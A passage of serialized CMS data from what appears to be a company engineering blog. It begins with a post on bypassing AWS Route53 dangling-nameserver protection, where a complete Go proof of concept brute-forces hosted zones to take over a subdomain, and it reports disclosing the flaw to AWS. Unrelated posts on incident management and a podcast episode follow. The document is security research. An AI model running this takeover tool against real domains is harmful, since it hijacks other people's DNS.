effective.",[],"rich_text$a710bf9b-1c02-4fdb-ba27-5eb3f1650a4d",{"variation":459,"version":481,"items":809,"primary":810,"id":824,"slice_type":506,"slice_label":13},[],{"eyebrow":13,"heading":811,"body":812,"cta_label":13,"cta_link":813,"aside_type":488,"aside_image":814,"aside_video":819,"aside_video_poster":820,"aside_video_reduced_motion":821,"aside_video_url":13,"aside_embed":822,"pardot_form_url":13,"form_submit_label":13,"form_variant":497,"form_heading":13,"redirect_on_success":823,"theme":500,"overlay_pattern":501,"background_continuation":502,"media_position":503,"aside_vertical_align":504},[],[],{"link_type":487},{"dimensions":815,"alt":13,"copyright":13,"url":816,"id":817,"edit":818},{"width":724,"height":431},"\u002F_prismic-media\u002Fffe51969aac632dd-8s7cukSkgQYWdjAb_ca2351d4-219e-436b-b44c-e234f73.png","8s7cukSkgQYWdjAb",{"x":17,"y":17,"zoom":18,"background":19},{"link_type":493},{},{},{},{"link_type":499},"content_block$f6f2ba6b-acd1-4388-8fcb-123f00874656",{"variation":459,"version":460,"items":826,"primary":827,"id":832,"slice_type":479,"slice_label":13},[],{"body":828},[829],{"type":396,"text":830,"spans":831},"Therefore I had a feeling AWS could use public DNS to discover those dangling delegations. Although this is a pure speculation, with that came my next realisation.",[],"rich_text$793d807b-3c07-44ad-99d1-0e198beb0e05",{"variation":459,"version":460,"items":834,"primary":835,"id":857,"slice_type":479,"slice_label":13},[],{"body":836},[837,840,845],{"type":465,"text":838,"spans":839},"...the protection might be flawed",[],{"type":396,"text":841,"spans":842},"Imagine there's a dangling record for dangling.example.com",[843],{"start":844,"end":556,"type":477},38,{"type":396,"text":846,"spans":847},"What if you were a little cheeky and instead of creating a zone for dangling.example.com to perform the takeover, you tried to create example.com and inside it create a dangling.example.com record? AWS wouldn't be able to discover dangling.example.com has a dangling NS record since it's not possible to perform DNS enumeration easily and when creating a record the zone already has nameservers assigned.",[848,849,851,854],{"start":518,"end":519,"type":477},{"start":743,"end":850,"type":477},145,{"start":852,"end":853,"type":477},169,189,{"start":855,"end":856,"type":477},231,252,"rich_text$154e4160-97ad-4c3b-aaaa-22346fdf5ec6",{"variation":459,"version":481,"items":859,"primary":860,"id":874,"slice_type":506,"slice_label":13},[],{"eyebrow":13,"heading":861,"body":862,"cta_label":13,"cta_link":863,"aside_type":488,"aside_image":864,"aside_video":869,"aside_video_poster":870,"aside_video_reduced_motion":871,"aside_video_url":13,"aside_embed":872,"pardot_form_url":13,"form_submit_label":13,"form_variant":497,"form_heading":13,"redirect_on_success":873,"theme":500,"overlay_pattern":501,"background_continuation":502,"media_position":503,"aside_vertical_align":504},[],[],{"link_type":487},{"dimensions":865,"alt":13,"copyright":13,"url":866,"id":867,"edit":868},{"width":724,"height":431},"\u002F_prismic-media\u002Fbd3f5e6e10f93995-jS2-n5ysTyA-cS0K_c11aa6c5-e59a-46e1-b426-a851403.png","jS2-n5ysTyA-cS0K",{"x":17,"y":17,"zoom":18,"background":19},{"link_type":493},{},{},{},{"link_type":499},"content_block$6bcf9410-2534-4a03-baaf-544d19f391a4",{"variation":459,"version":460,"items":876,"primary":877,"id":882,"slice_type":479,"slice_label":13},[],{"body":878},[879],{"type":396,"text":880,"spans":881},"This prompted me to create a PoC to test that.",[],"rich_text$af5deef1-000d-49bc-bd9a-5e5d4cebc6c5",{"variation":459,"version":460,"items":884,"primary":885,"id":890,"slice_type":567,"slice_label":13},[],{"language_label":13,"code":886},[887],{"type":563,"text":888,"spans":889},".\u002Fns-takeover dangling.example.com\n\nLooking up dangling.example.com using a.root-servers.net\nLooking up dangling.example.com using e.gtld-servers.net.\nLooking up dangling.example.com using ns-172.awsdns-21.com.\nLooking up dangling.example.com using ns-1084.awsdns-07.org.\n\nAttempting a takeover for dangling.example.com. by creating example.com, looking for NS=[{Name:dangling.example.com. NS:ns-1084.awsdns-07.org.} {Name:dangling.example.com. NS:ns-1929.awsdns-49.co.uk.} {Name:dangling.example.com. NS:ns-362.awsdns-45.com.} {Name:dangling.example.com. NS:ns-528.awsdns-02.net.}]\n\n#0: Nameservers do not match, got [ns-1675.awsdns-17.co.uk ns-1232.awsdns-26.org ns-1010.awsdns-62.net ns-496.awsdns-62.com], removing\n#1: Nameservers do not match, got [ns-459.awsdns-57.com ns-1548.awsdns-01.co.uk ns-653.awsdns-17.net ns-1499.awsdns-59.org], removing\n#2: Nameservers do not match, got [ns-241.awsdns-30.com ns-1228.awsdns-25.org ns-1940.awsdns-50.co.uk ns-516.awsdns-00.net], removing\n#3: Nameservers do not match, got [ns-1654.awsdns-14.co.uk ns-1410.awsdns-48.org ns-588.awsdns-09.net ns-211.awsdns-26.com], removing\n[...]\n#102: Takeover successful: ns-528.awsdns-02.net, zoneID: \u002Fhostedzone\u002FZ0123",[],"code_block$0f91eaba-e345-4db7-966c-4bde73cb4b49",{"variation":459,"version":460,"items":892,"primary":893,"id":906,"slice_type":479,"slice_label":13},[],{"body":894},[895,901],{"type":396,"text":896,"spans":897},"And with that we've performed a takeover. The next step is to create a record for dangling.example.com",[898],{"start":899,"end":900,"type":477},82,102,{"type":396,"text":902,"spans":903},"create-record.json:",[904],{"start":17,"end":905,"type":477},18,"rich_text$1a1dc32c-49e0-4dc4-8aa3-a817ab54c234",{"variation":459,"version":460,"items":908,"primary":909,"id":914,"slice_type":567,"slice_label":13},[],{"language_label":13,"code":910},[911],{"type":563,"text":912,"spans":913},"{\n    \"Comment\": \"add dangling.example.com record\",\n    \"Changes\": [\n        {\n            \"Action\": \"CREATE\",\n            \"ResourceRecordSet\": {\n                \"Name\": \"dangling.example.com.\",\n                \"Type\": \"A\",\n                \"TTL\": 300,\n                \"ResourceRecords\": [\n                    {\n                        \"Value\": \"127.0.0.1\"\n                    }\n                ]\n            }\n        }\n    ]\n}",[],"code_block$c74c8c2f-4ee5-444c-a18e-418e734ab3c0",{"variation":459,"version":460,"items":916,"primary":917,"id":922,"slice_type":567,"slice_label":13},[],{"language_label":13,"code":918},[919],{"type":563,"text":920,"spans":921},"aws route53 change-resource-record-sets --hosted-zone-id Z0123 --change-batch file:\u002F\u002Fcreate-record.json",[],"code_block$5f8eae6d-f2ea-422d-bc8c-e29ccd2ecdaf",{"variation":459,"version":460,"items":924,"primary":925,"id":930,"slice_type":567,"slice_label":13},[],{"language_label":13,"code":926},[927],{"type":563,"text":928,"spans":929},"$ dig dangling.example.com\n\n; \u003C\u003C>> DiG 9.10.6 \u003C\u003C>> a dangling.example.com\n;; global options: +cmd\n;; Got answer:\n;; ->>HEADER\u003C\u003C- opcode: QUERY, status: NOERROR, id: 21681\n;; flags: qr rd ra; QUERY: 1, ANSWER: 2, AUTHORITY: 0, ADDITIONAL: 1\n\n;; OPT PSEUDOSECTION:\n; EDNS: version: 0, flags:; udp: 4096\n;; QUESTION SECTION:\n;dangling.example.com.       IN      A\n\n;; ANSWER SECTION:\ndangling.example.com.            300     IN      A       127.0.0.1",[],"code_block$3f31a791-d4a4-4cec-abab-52471cfcd9e2",{"variation":459,"version":460,"items":932,"primary":933,"id":938,"slice_type":567,"slice_label":13},[],{"language_label":13,"code":934},[935],{"type":563,"text":936,"spans":937},"package main\n\nimport (\n\t\"context\"\n\t\"errors\"\n\t\"fmt\"\n\t\"github.com\u002Faws\u002Faws-sdk-go-v2\u002Fconfig\"\n\t\"github.com\u002Faws\u002Faws-sdk-go-v2\u002Fservice\u002Froute53\"\n\t\"github.com\u002Faws\u002Faws-sdk-go-v2\u002Fservice\u002Froute53\u002Ftypes\"\n\t\"github.com\u002Fmiekg\u002Fdns\"\n\t\"log\"\n\t\"net\"\n\t\"os\"\n\t\"strings\"\n\t\"time\"\n)\n\nfunc resolveNSIP(nameserver string) (net.IP, error) {\n\tip := net.ParseIP(nameserver)\n\tif ip != nil {\n\t\treturn ip, nil\n\t}\n\n\tips, err := net.LookupIP(nameserver)\n\tif err != nil {\n\t\treturn ip, err\n\t}\n\n\tif len(ips) \u003C= 0 {\n\t\treturn ip, errors.New(\"no records found\")\n\t}\n\treturn ips[0], nil\n}\n\n\u002F\u002F nameserver can be a hostname or an ip address\nfunc nonRecursiveLookup(name, nameserver string, rType uint16) (*dns.Msg, error) {\n\tnameserverIP, err := resolveNSIP(nameserver)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tmsg := &dns.Msg{}\n\tmsg.SetQuestion(dns.Fqdn(name), rType)\n\tmsg.RecursionDesired = false\n\n\tc := &dns.Client{}\n\tresp, _, err := c.Exchange(msg, net.JoinHostPort(nameserverIP.String(), \"53\"))\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"error looking up authoritative NS records for %s using %s: %w\", name, nameserver, err)\n\t}\n\n\treturn resp, err\n}\n\ntype NS struct {\n\tName string\n\tNS   string\n}\n\nconst maxRecursionDepth = 40\n\nfunc DanglingRecords(name string) ([]NS, error) {\n\tdelegatedNS := []NS{\n\t\t{\n\t\t\tName: \".\",\n\t\t\tNS:   \"a.root-servers.net\",\n\t\t},\n\t}\n\tname = strings.TrimSuffix(name, \".\")\n\n\tfor i := 0; ; i++ {\n\t\tif i == maxRecursionDepth {\n\t\t\treturn nil, errors.New(\"max recursion depth reached, something weird is going on\")\n\t\t}\n\n\t\tlog.Printf(\"Looking up %s using %s\", name, delegatedNS[0].NS)\n\n\t\t\u002F\u002F NOTE: we probably want to test other NS records in case\n\t\t\u002F\u002F - a takeover was already performed\n\t\t\u002F\u002F - only a single NS record is misconfigured\n\t\tmsg, err := nonRecursiveLookup(name, delegatedNS[0].NS, dns.TypeNS)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\n\t\tif msg.Rcode != dns.RcodeSuccess {\n\t\t\treturn delegatedNS, nil\n\t\t}\n\n\t\tdelegatedNS = []NS{}\n\t\tfor _, rec := range msg.Ns {\n\t\t\tif nsRec, ok := rec.(*dns.NS); ok {\n\t\t\t\tdelegatedNS = append(delegatedNS, NS{\n\t\t\t\t\tName: nsRec.Hdr.Name,\n\t\t\t\t\tNS:   nsRec.Ns,\n\t\t\t\t})\n\t\t\t}\n\t\t}\n\n\t\tif len(delegatedNS) == 0 {\n\t\t\treturn nil, nil\n\t\t}\n\t}\n}\n\nfunc main() {\n\tctx := context.Background()\n\tif len(os.Args) != 2 {\n\t\tlog.Fatalln(\"usage: ns-takeover \u003CFQDN>\")\n\t}\n\n\tdomainToTakeover := strings.TrimSuffix(os.Args[1], \".\") + \".\"\n\n\tsess, err := config.LoadDefaultConfig(ctx)\n\tif err != nil {\n\t\tlog.Fatalln(\"error loading session config for aws client\", err)\n\t}\n\n\tdnsClient := route53.NewFromConfig(sess)\n\tdanglingNS, err := DanglingRecords(domainToTakeover)\n\n\tif err != nil {\n\t\tlog.Fatalln(err)\n\t}\n\n\tif len(danglingNS) == 0 {\n\t\tlog.Println(\"no dangling records found, takeover not possible\")\n\t\tos.Exit(1)\n\t}\n\n\t\u002F\u002F AWS has a protection against creating dangling records: https:\u002F\u002Fdocs.aws.amazon.com\u002FRoute53\u002Flatest\u002FDeveloperGuide\u002Fprotection-from-dangling-dns.html\n\t\u002F\u002F Creating a public zone for a parent domain circumvents the protection\n\tparentZone := strings.Join(strings.Split(strings.TrimSuffix(danglingNS[0].Name, \".\"), \".\")[1:], \".\")\n\n\tlog.Printf(\"Attempting a takeover for %s by creating %s, looking for NS=%+v\", domainToTakeover, parentZone, danglingNS)\n\n\tfor i := 0; ; i++ {\n\t\tref := fmt.Sprintf(\"ns-brute-%s\", time.Now().String())\n\t\tcomment := \"ns-brute\"\n\t\tout, err := dnsClient.CreateHostedZone(ctx, &route53.CreateHostedZoneInput{\n\t\t\tCallerReference: &ref,\n\t\t\tName:            &parentZone,\n\t\t\tHostedZoneConfig: &types.HostedZoneConfig{\n\t\t\t\tComment:     &comment,\n\t\t\t\tPrivateZone: false,\n\t\t\t},\n\t\t})\n\n\t\tif err != nil {\n\t\t\tlog.Fatalf(\"Creating Hosted Zone failed: %s\", err)\n\t\t}\n\n\t\tds := out.DelegationSet\n\t\tif ds == nil || len(ds.NameServers) == 0 {\n\t\t\tlog.Fatal(\"Creating Hosted Zone failed: delegation set is empty\")\n\t\t}\n\n\t\tfor _, ns := range ds.NameServers {\n\t\t\tzoneNS := strings.ToLower(strings.TrimSuffix(ns, \".\"))\n\t\t\tfor _, targetNS := range danglingNS {\n\t\t\t\tunifiedTargetNS := strings.ToLower(strings.TrimSuffix(targetNS.NS, \".\"))\n\t\t\t\tif zoneNS == unifiedTargetNS {\n\t\t\t\t\tlog.Printf(\"#%d: Takeover successful: %s, zoneID: %s\", i, ns, *out.HostedZone.Id)\n\t\t\t\t\tos.Exit(0)\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\tlog.Printf(\"#%d: Nameservers do not match, got %v, removing\", i, ds.NameServers)\n\n\t\t_, err = dnsClient.DeleteHostedZone(ctx, &route53.DeleteHostedZoneInput{Id: out.HostedZone.Id})\n\t\tif err != nil {\n\t\t\tlog.Fatal(\"Removing hosted zone failed\", err)\n\t\t}\n\n\t\t\u002F\u002F be gentle :)\n\t\ttime.Sleep(1 * time.Second)\n\t}\n}",[],"code_block$365c11c4-6968-4837-b4ff-2fe9b9e4155e",{"variation":459,"version":460,"items":940,"primary":941,"id":952,"slice_type":479,"slice_label":13},[],{"body":942},[943,946,949],{"type":465,"text":944,"spans":945},"Ineffective protection might be worse than no protection at all",[],{"type":396,"text":947,"spans":948},"One could easily imagine a scenario where a dangling record is discovered using a perimeter scanner of sorts. It'd be easy to downplay the finding by citing the protection.",[],{"type":396,"text":950,"spans":951},"In such case you might wrongly believe that your systems are secure. The false sense of security can lead to lack of urgency in addressing the security risk. In contrast, if there's no protection and you are aware of the vulnerability you will prioritize fixing it.",[],"rich_text$7893c184-9101-454c-9a80-45f5dd95a095",{"variation":459,"version":460,"items":954,"primary":955,"id":976,"slice_type":479,"slice_label":13},[],{"body":956},[957,960,963,969],{"type":465,"text":958,"spans":959},"Reporting the vulnerability to AWS support",[],{"type":396,"text":961,"spans":962},"After discovering the vulnerability we've contacted AWS support and they updated the documentation to reflect the issues discovered in this post.",[],{"type":396,"text":964,"spans":965},"The documentation is now a decent resource on how to mitigate the risk of NS misconfiguration.",[966],{"start":17,"end":967,"type":744,"data":968},17,{"link_type":453,"url":768},{"type":396,"text":970,"spans":971},"AWS has vulnerability reporting guidelines, which you can find under https:\u002F\u002Faws.amazon.com\u002Fsecurity\u002Fvulnerability-reporting\u002F",[972],{"start":687,"end":973,"type":744,"data":974},125,{"link_type":453,"url":975},"https:\u002F\u002Faws.amazon.com\u002Fsecurity\u002Fvulnerability-reporting\u002F","rich_text$3e7e28c4-c2f7-4301-b2ef-0315c40a9c1a",{"variation":459,"version":460,"items":978,"primary":979,"id":987,"slice_type":479,"slice_label":13},[],{"body":980},[981,984],{"type":465,"text":982,"spans":983},"Conclusions",[],{"type":396,"text":985,"spans":986},"New venues of executing subdomain takeovers continue to emerge even with protections in place. While using cloud services offers great security benefits, blindly trusting documentation might not cut it. Conduct your own tests and double-check claims. If you find anything, report it. It not only keeps you safe, but also helps others.",[],"rich_text$b3957f7c-1a02-4087-8ef3-d69b7f070895",{"id":989,"uid":990,"url":991,"type":406,"href":992,"tags":993,"first_publication_date":994,"last_publication_date":410,"slugs":995,"linked_documents":997,"lang":386,"alternate_languages":998,"data":999},"alz0pREAACgAUWY_","five-ws-incident-mngmnt","\u002Fresources\u002Fengineering-blog\u002Ffive-ws-incident-mngmnt","https:\u002F\u002Fform3-website.cdn.prismic.io\u002Fapi\u002Fv2\u002Fdocuments\u002Fsearch?ref=apjJ1BEAAC0AJxzl&q=%5B%5B%3Ad+%3D+at%28document.id%2C+%22alz0pREAACgAUWY_%22%29+%5D%5D",[],"2026-07-19T16:22:01+0000",[996],"how-do-we-fix-it",[],[],{"title":1000,"excerpt":1001,"card_image":1002,"published_date":1007,"reading_time":667,"tag":427,"dek":1001,"featured_image":1008,"about_form3":1016,"client_about_heading":13,"client_about_body":1017,"author_name":1018,"author_title":1019,"author_photo":1020,"author_bio":1025,"author_linkedin":1035,"slices":1037,"meta_title":1000,"meta_description":1001},"Applying the Five Ws to Incident Management","In this blogpost, David introduces us to the five W's of information gathering - Who? What? When? Where? Why? Answering the five Ws helps Incident Managers get a deeper understanding of the cause and impact of incidents, not just their remedy, leading to more robust solutions. Fixing the cause of an outage is only just the beginning and the five Ws pave the way for team collaboration during investigations.",{"dimensions":1003,"alt":1000,"copyright":13,"url":1004,"id":1005,"edit":1006},{"width":420,"height":420},"\u002F_prismic-media\u002F6c7e7c7d74b127b3-ClGnM8aVm2VvTVN4_five-ws-incident-mngmnt.png","ClGnM8aVm2VvTVN4",{"x":17,"y":17,"zoom":18,"background":19},"2023-07-26",{"dimensions":1009,"alt":1012,"copyright":13,"url":1013,"id":1014,"edit":1015},{"width":1010,"height":1011},2207,1515,"The five Ws of information gathering","\u002F_prismic-media\u002F5b460a1effe389dc-b7SVx0zAuUpE-oZ6_7b13f0c1-3236-4882-9471-0197cf7.png","b7SVx0zAuUpE-oZ6",{"x":17,"y":17,"zoom":18,"background":19},[],[],"David Macarthur","Incident Management Specialist",{"dimensions":1021,"alt":1018,"copyright":13,"url":1022,"id":1023,"edit":1024},{"width":443,"height":444},"\u002F_prismic-media\u002Fd4c1850f73f58780-UVBi_0Bfyem0GH4D_30637417-8d6b-4d89-8c94-3d7bfc8.jpeg","UVBi_0Bfyem0GH4D",{"x":17,"y":17,"zoom":18,"background":424},[1026,1029],{"type":396,"text":1027,"spans":1028},"David is one of our Incident Managers at Form3. He has a focus on continual improvement in our processes across the whole company. He is also passionate about accessibility, diversity, inclusion and leadership.",[],{"type":396,"text":1030,"spans":1031},"You can find David on LinkedIn where he has several articles on various topics.",[1032],{"start":579,"end":555,"type":744,"data":1033},{"link_type":453,"url":1034},"https:\u002F\u002Fwww.linkedin.com\u002Fin\u002Fdavidgmacarthur\u002F",{"link_type":453,"key":1036,"url":1034,"target":456},"dbe953b2-5bf9-4f69-a745-0a3c805448ad",[1038,1060,1077,1092,1199,1232],{"variation":459,"version":460,"items":1039,"primary":1040,"id":1059,"slice_type":479,"slice_label":13},[],{"body":1041},[1042,1045,1056],{"type":465,"text":1043,"spans":1044},"How do we fix it?",[],{"type":396,"text":1046,"spans":1047},"If you're new to the ideas of Incident Management, you can read David's introductory blog post giving a quick intro to the day-to-day life of an Incident Manager.",[1048],{"start":742,"end":1049,"type":744,"data":1050},161,{"id":1051,"type":1052,"tags":1053,"lang":13,"slug":1054,"first_publication_date":13,"last_publication_date":13,"link_type":499,"isBroken":1055},"ZCwLNxEAACoAkrym","broken_type",[],"-",true,{"type":396,"text":1057,"spans":1058},"One of the first things that comes to mind when an incident occurs is one question. Ok, we have a problem. How do we fix it? A perfectly valid and logical response, but not always the one that meets our goals in the most effective way as Incident Managers. Before we can even start to think about how we fix an issue we first have a series of rapid fire questions we need to process first.",[],"rich_text$b3965510-13ff-43b7-bf70-87268ae6d5a0",{"variation":459,"version":460,"items":1061,"primary":1062,"id":1076,"slice_type":479,"slice_label":13},[],{"body":1063},[1064,1067,1073],{"type":465,"text":1065,"spans":1066},"Information is key!",[],{"type":396,"text":1068,"spans":1069},"Who? What? When? Where? Why? ",[1070,1072],{"start":17,"end":1071,"type":780},28,{"start":17,"end":1071,"type":477},{"type":396,"text":1074,"spans":1075},"Those are the questions we really need to answer before we can move on to how.",[],"rich_text$6f9a9dd6-4906-4708-8f44-15a26d801766",{"variation":459,"version":481,"items":1078,"primary":1079,"id":1091,"slice_type":506,"slice_label":13},[],{"eyebrow":13,"heading":1080,"body":1081,"cta_label":13,"cta_link":1082,"aside_type":488,"aside_image":1083,"aside_video":1086,"aside_video_poster":1087,"aside_video_reduced_motion":1088,"aside_video_url":13,"aside_embed":1089,"pardot_form_url":13,"form_submit_label":13,"form_variant":497,"form_heading":13,"redirect_on_success":1090,"theme":500,"overlay_pattern":501,"background_continuation":502,"media_position":503,"aside_vertical_align":504},[],[],{"link_type":487},{"dimensions":1084,"alt":1012,"copyright":13,"url":1013,"id":1014,"edit":1085},{"width":1010,"height":1011},{"x":17,"y":17,"zoom":18,"background":19},{"link_type":493},{},{},{},{"link_type":499},"content_block$a3e849a4-2342-427e-ab5e-c429c25f413e",{"variation":459,"version":460,"items":1093,"primary":1094,"id":1198,"slice_type":479,"slice_label":13},[],{"body":1095},[1096,1100,1106,1110,1114,1118,1121,1124,1128,1132,1136,1140,1143,1146,1150,1154,1158,1161,1164,1168,1172,1175,1178,1182,1186,1190,1194],{"type":1097,"text":1098,"spans":1099},"heading3","Who?",[],{"type":1101,"text":1102,"spans":1103},"list-item","Who is impacted?",[1104],{"start":17,"end":1105,"type":477},3,{"type":1101,"text":1107,"spans":1108},"Who do we need to call?",[1109],{"start":17,"end":1105,"type":477},{"type":1101,"text":1111,"spans":1112},"Who knows more about this?",[1113],{"start":17,"end":1105,"type":477},{"type":1101,"text":1115,"spans":1116},"Who are our end users?",[1117],{"start":17,"end":1105,"type":477},{"type":396,"text":1119,"spans":1120},"If we have no idea who is impacted by this issue, or what kind of expertise we are likely to need to fix it. How are we going to know the answer to our overall question of how do we fix it?",[],{"type":1097,"text":1122,"spans":1123},"What?",[],{"type":1101,"text":1125,"spans":1126},"What is not working as intended?",[1127],{"start":17,"end":667,"type":477},{"type":1101,"text":1129,"spans":1130},"What has changed recently?",[1131],{"start":17,"end":667,"type":477},{"type":1101,"text":1133,"spans":1134},"What is the impact on our clients?",[1135],{"start":17,"end":667,"type":477},{"type":1101,"text":1137,"spans":1138},"What is the impact on end-users?",[1139],{"start":17,"end":667,"type":477},{"type":396,"text":1141,"spans":1142},"If we have no idea what is not working as we expect it to, if we have no idea what the impact is. How can we effectively communicate with our customers and how can we start working on a resolution?",[],{"type":1097,"text":1144,"spans":1145},"When?",[],{"type":1101,"text":1147,"spans":1148},"When did this all start?",[1149],{"start":17,"end":667,"type":477},{"type":1101,"text":1151,"spans":1152},"When will the impact get worse?",[1153],{"start":17,"end":667,"type":477},{"type":1101,"text":1155,"spans":1156},"When do we need fresh eyes?",[1157],{"start":17,"end":667,"type":477},{"type":396,"text":1159,"spans":1160},"If we can't see the point at which an issue started, it becomes very hard to identify a cause and a resolution. Some issue, such as say a high CPU or low memory warning can be just that, a warning. So, we need to know when is that warning going to become a problem. We need to be able to articulate that to our customers if needed. Likewise, we as a company have a duty of care. We need to acknowledge an engineer may be at the end of an on-call period and a handover may be more beneficial.",[],{"type":1097,"text":1162,"spans":1163},"Where?",[],{"type":1101,"text":1165,"spans":1166},"Where is the stopping point?",[1167],{"start":17,"end":672,"type":477},{"type":1101,"text":1169,"spans":1170},"Where, geographically are our blockers?",[1171],{"start":17,"end":672,"type":477},{"type":396,"text":1173,"spans":1174},"In infrastructure a blocker can be a high sign of where we can start looking for a fix. If we look at the flow of information we can start at the start, health check, but how long will that take? If we know where our stopping point is, our blocker. We can \"skip\" five steps and focus in on where we see in the logs that we need to check first.",[],{"type":1097,"text":1176,"spans":1177},"Why?",[],{"type":1101,"text":1179,"spans":1180},"Why does the network traffic route that way?",[1181],{"start":17,"end":1105,"type":477},{"type":1101,"text":1183,"spans":1184},"Why is this customer affected and this one is not?",[1185],{"start":17,"end":1105,"type":477},{"type":1101,"text":1187,"spans":1188},"Why did this start at this time?",[1189],{"start":17,"end":1105,"type":477},{"type":396,"text":1191,"spans":1192},"Why can be one of the most effective initial tools in our arsenal. Perhaps the key question Incident Managers can at times forget, why can be seen as a Problem Management question. Why did it break? Well, that's in root cause analysis. Why can point an investigation in a direction very quickly because it can identify something out of the normal, something unusual and unexpected.",[1193],{"start":17,"end":1105,"type":477},{"type":396,"text":1195,"spans":1196},"Why can lead us to the answers of so many questions and open our minds to find more questions that could have been overlooked by a rush. The Incident Management process should never be a rush, it should be a smooth process of decisive but deliberate choices. All our questions lead us to more questions, often more than we do answers. We must work together to choose which of these questions need answers, to find our priorities.",[1197],{"start":17,"end":1105,"type":477},"rich_text$dad34f06-5609-4327-abca-61fc08ef5032",{"variation":459,"version":460,"items":1200,"primary":1201,"id":1231,"slice_type":479,"slice_label":13},[],{"body":1202},[1203,1206,1219,1222,1225,1228],{"type":465,"text":1204,"spans":1205},"Answering the Five Ws",[],{"type":396,"text":1207,"spans":1208},"One of the huge benefits at Form3 is the tooling we have, but more than that, ones Incident Management has. It can be easy to think a technical tool for monitoring for example should be used by Development to provide information to Operations. Good dashboards and metrics that Incident Management have access to can answer most of these questions without an Incident Manager ever needing to ask an engineer. Our Incident Managers frequently rely on logz.io and Grafana as their sources of information. ",[1209,1214],{"start":1210,"end":1211,"type":744,"data":1212},449,456,{"link_type":453,"url":1213,"target":456},"https:\u002F\u002Flogz.io\u002Fabout-us\u002F",{"start":1215,"end":1216,"type":744,"data":1217},461,468,{"link_type":453,"url":1218,"target":456},"https:\u002F\u002Fgrafana.com\u002F",{"type":1101,"text":1220,"spans":1221},"Collaboration.",[],{"type":1101,"text":1223,"spans":1224},"Communication.",[],{"type":1101,"text":1226,"spans":1227},"Consideration.",[],{"type":396,"text":1229,"spans":1230},"When we work with Development in a DevOps environment, be that DevOps or SecDevOps, we give Incident Management more tools and more options so our engineers can focus on the fix, while we focus on the impact and the five Ws.",[],"rich_text$585c9b23-116b-4967-b5fd-ac7a763ed7eb",{"variation":459,"version":460,"items":1233,"primary":1234,"id":1248,"slice_type":479,"slice_label":13},[],{"body":1235},[1236,1238,1245],{"type":465,"text":982,"spans":1237},[],{"type":396,"text":1239,"spans":1240},"The five Ws can be the best place to start in an incident scenario but not all at once. We don't need answers to why, what, when and who to reach how, but it means we know the purpose of being there and as our decisions are made, they build the foundation of the best possible solution, the best way to restore service. I've seen so many people seek how with a need for instant gratification and sometimes it works, often however it creates removes the confidence of technical teams who must say we don't know.",[1241,1244],{"start":1242,"end":1243,"type":780},350,353,{"start":1242,"end":1243,"type":477},{"type":396,"text":1246,"spans":1247},"I say, we don't know yet, but we have questions and that's the perfect start.",[],"rich_text$544f7e3e-e10e-4559-8cbf-7c592396cef3",{"id":1250,"uid":1251,"url":1252,"type":406,"href":1253,"tags":1254,"first_publication_date":994,"last_publication_date":410,"slugs":1255,"linked_documents":1257,"lang":386,"alternate_languages":1258,"data":1259},"alz0qREAAC0AUWZE","podcast-conf-speaking","\u002Fresources\u002Fengineering-blog\u002Fpodcast-conf-speaking","https:\u002F\u002Fform3-website.cdn.prismic.io\u002Fapi\u002Fv2\u002Fdocuments\u002Fsearch?ref=apjJ1BEAAC0AJxzl&q=%5B%5B%3Ad+%3D+at%28document.id%2C+%22alz0qREAAC0AUWZE%22%29+%5D%5D",[],[1256],"ep-45-.tech---all-about-conference-speaking",[],[],{"title":1260,"excerpt":1261,"card_image":1262,"published_date":1267,"reading_time":667,"tag":427,"dek":1261,"featured_image":1268,"about_form3":1275,"client_about_heading":13,"client_about_body":1276,"author_name":1277,"author_title":1278,"author_photo":1279,"author_bio":1285,"author_linkedin":1289,"slices":1292,"meta_title":1260,"meta_description":1261},".tech Podcast - All about conference speaking","Patrycja, Artur and Marcin are engineers at Form3 and some of our most accomplished speakers. They join us to discuss their motivations for taking up the challenge of becoming conference speakers, tell us how to find events to speak at and share their best advice for preparing engaging talks. They offer advice for new and experienced speakers alike.",{"dimensions":1263,"alt":1260,"copyright":13,"url":1264,"id":1265,"edit":1266},{"width":420,"height":420},"\u002F_prismic-media\u002F0e62e4836feeab2a-Ae9UwzA77Du7qvKY_podcast-conf-speaking.png","Ae9UwzA77Du7qvKY",{"x":17,"y":17,"zoom":18,"background":19},"2023-07-19",{"dimensions":1269,"alt":13,"copyright":13,"url":1272,"id":1273,"edit":1274},{"width":1270,"height":1271},1200,669,"\u002F_prismic-media\u002F716262bfd465936b-4ra2-ZCPAPogA_yK_3a01534e-924e-484d-bab8-62524b5.jpg","4ra2-ZCPAPogA_yK",{"x":17,"y":17,"zoom":18,"background":424},[],[],"Adelina Simion","Technology Evangelist",{"dimensions":1280,"alt":1277,"copyright":13,"url":1282,"id":1283,"edit":1284},{"width":443,"height":1281},474,"\u002F_prismic-media\u002Fe08313b6ab610487-38TSoXRVp2tWVmyC_31a4a6dc-d773-477b-bdf0-7f2e1d8.jpg","38TSoXRVp2tWVmyC",{"x":17,"y":17,"zoom":18,"background":424},[1286],{"type":396,"text":1287,"spans":1288},"Adelina is a polyglot engineer and developer relations professional, with a decade of technical experience at multiple startups in London. She started her career as a Java backend engineer, converted later to Go, and then transitioned to a full-time developer relations role. She has published multiple online courses about Go on the LinkedIn Learning platform, helping thousands of developers up-skill with Go. She has a passion for public speaking, having presented on cloud architectures at major European conferences. Adelina holds an MSc. Mathematical Modelling and Computing degree.",[],{"link_type":453,"key":1290,"url":1291,"target":456},"a3adcd17-0ccb-47ff-a81a-139e6123b5a0","https:\u002F\u002Fwww.linkedin.com\u002Fin\u002Fadelina-simion\u002F",[1293,1315,1349,1389,1447,1493],{"variation":459,"version":481,"items":1294,"primary":1295,"id":1314,"slice_type":506,"slice_label":13},[],{"eyebrow":13,"heading":1296,"body":1300,"cta_label":1304,"cta_link":1305,"aside_type":13,"aside_image":1308,"aside_video":1309,"aside_video_poster":1310,"aside_video_reduced_motion":1311,"aside_video_url":13,"aside_embed":1312,"pardot_form_url":13,"form_submit_label":13,"form_variant":497,"form_heading":13,"redirect_on_success":1313,"theme":500,"overlay_pattern":501,"background_continuation":502,"media_position":503,"aside_vertical_align":504},[1297],{"type":465,"text":1298,"spans":1299},"Ep 45 .tech - All about conference speaking",[],[1301],{"type":396,"text":1302,"spans":1303},"Listen on Form3’s .tech podcast.",[],"LISTEN TO 